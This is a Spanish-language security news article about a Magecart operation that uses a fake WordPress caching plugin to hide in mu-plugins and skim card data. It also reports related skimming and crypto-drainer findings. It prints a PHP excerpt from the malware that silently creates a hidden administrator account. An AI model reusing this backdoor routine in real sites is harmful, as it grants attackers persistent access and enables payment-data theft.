Los investigadores de amenazas han detectado un complemento de WordPress sospechoso que puede establecer administradores ficticios y añadir código JavaScript dañino para capturar datos de tarjetas de crédito.

Esta actividad de recopilación está vinculada a una operación de Magecart dirigida a plataformas de venta en línea, según indicó Sucuri.

> *«Al igual que otros complementos engañosos de WordPress, este tiene datos falsos al inicio para parecer auténtico», señaló el experto en seguridad. En el código, se presenta como 'Complementos de Caché para WordPress'»,* Ben Martin.

Los complementos malignos suelen infiltrarse en sitios WordPress mediante un usuario administrador ya comprometido o explotando vulnerabilidades de otros complementos instalados en el portal.

Después de su incorporación, este complemento se autoduplica en el directorio de mu-plugins, asegurando su activación inmediata y su ocultación ante el área de administración del sitio.

> *«Ya que la única vía para eliminar un mu-plugin es mediante la eliminación manual, este malware se esfuerza por impedirlo. Para ello, desactiva funciones asociadas que otros complementos emplearían»,* detalló Martin.

Además, este complemento engañoso ofrece una función para generar y esconder una cuenta de administrador falsa en el portal original, evitando así detecciones y garantizando una presencia prolongada.

El propósito principal de esta maniobra es implantar un programa espía en las páginas de transacción para robar datos de tarjetas y enviarlos a un dominio bajo control de los

atacantes.

> *«Dado que muchas brechas en WordPress provienen de cuentas administrativas comprometidas, tiene lógica que los delincuentes trabajen dentro de las capacidades que estas cuentas les otorgan, y la incorporación de complementos es una herramienta que poseen»,* añadió Martin.

Este descubrimiento surge tras alertas previas de la comunidad de seguridad de WordPress sobre una estafa que advierte sobre una supuesta falla en el sistema de gestión y persuade a los usuarios a instalar un complemento falso bajo el pretexto de una corrección. Dicho complemento, en realidad, establece un administrador oculto y facilita el acceso remoto al sistema.

Sucuri añadió que los responsables de esta operación están utilizando el término «RESERVADO» vinculado a un identificador CVE, lo cual indica que ha sido reservado por una entidad de seguridad, aunque aún no se han especificado los detalles.

```
50 function pmv_create_hidden_admin() {
51     $username = 'busywell';
52     $password = '                                    ';
53     $email = 'vendomakilexa1337@gmail.com';
54
55     if (!username_exists($username) && !email_exists($email)) {
56         $user_id = wp_create_user($username, $password, $email);
57         $user = new WP_User($user_id);
58         $user->set_role('administrator');
59     }
60 }
```

La firma de seguridad para páginas web ha identificado una nueva campaña de Magecart que emplea el protocolo de comunicación WebSocket para introducir códigos maliciosos en tiendas digitales. Este código maligno se activa cuando se selecciona un falso botón de

«Confirmar Pedido», que se superpone al botón de pago real.

En un informe reciente de Europol sobre estafas en línea, se señala al robo de datos de tarjetas de crédito mediante skimming como una amenaza que sigue presente, causando la pérdida y mal uso de esta información financiera. *«Una tendencia creciente en estas prácticas es el cambio de utilizar malware visible a emplear malware oculto, complicando su detección»*, destacaron.

Las autoridades de la Unión Europea también han alertado a 443 tiendas en línea sobre la filtración de datos de tarjetas de crédito y débito de sus clientes a través de estos ataques de skimming.

Por otro lado, Group-IB, en colaboración con Europol en la operación anti-ciberdelito llamada Digital Skimming Action, ha identificado 23 grupos de JS-sniffers, entre los que se encuentran nombres como ATMZOW, health_check, FirstKiss, FakeGA, AngryBeaver, Inter y R3nin, utilizados para atacar empresas en 17 países de Europa y América.

> *«Se tiene registro de 132 grupos de JS-sniffer que han afectado sitios web a nivel global hasta finales de 2023»*, informó la empresa basada en Singapur.

Adicionalmente, se han detectado anuncios engañosos en Google y Twitter sobre plataformas de criptomonedas que promocionan un software de drenaje de criptomonedas llamado MS Drainer, el cual se estima ha desfalcado cerca de $58.98 millones de 63,210 individuos desde marzo de 2023 mediante una red compuesta por 10,072 páginas fraudulentas.

> ScamSniffer comentó: *«Al centrarse en grupos específicos a través de términos de búsqueda y seguidores, estas entidades pueden elegir sus blancos y ejecutar tácticas de phishing con un costo muy reducido».*